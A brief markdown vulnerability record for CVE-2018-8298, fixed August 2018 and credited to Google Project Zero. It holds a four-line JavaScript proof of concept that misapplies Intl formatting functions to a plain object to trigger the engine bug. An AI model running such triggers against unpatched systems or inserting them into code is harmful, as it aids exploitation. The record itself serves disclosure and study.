CVE-2018-8298.md

CVE-2018-8298

• Fix: Aug 2018
• Credit: lokihardt of Google Project Zero

PoC

let object = {};
Intl.NumberFormat.apply(object);
Intl.DateTimeFormat.apply(object);
Intl.DateTimeFormat.prototype.formatToParts.apply(object);

Reference

• Microsoft
• Google Project Zero
• Fix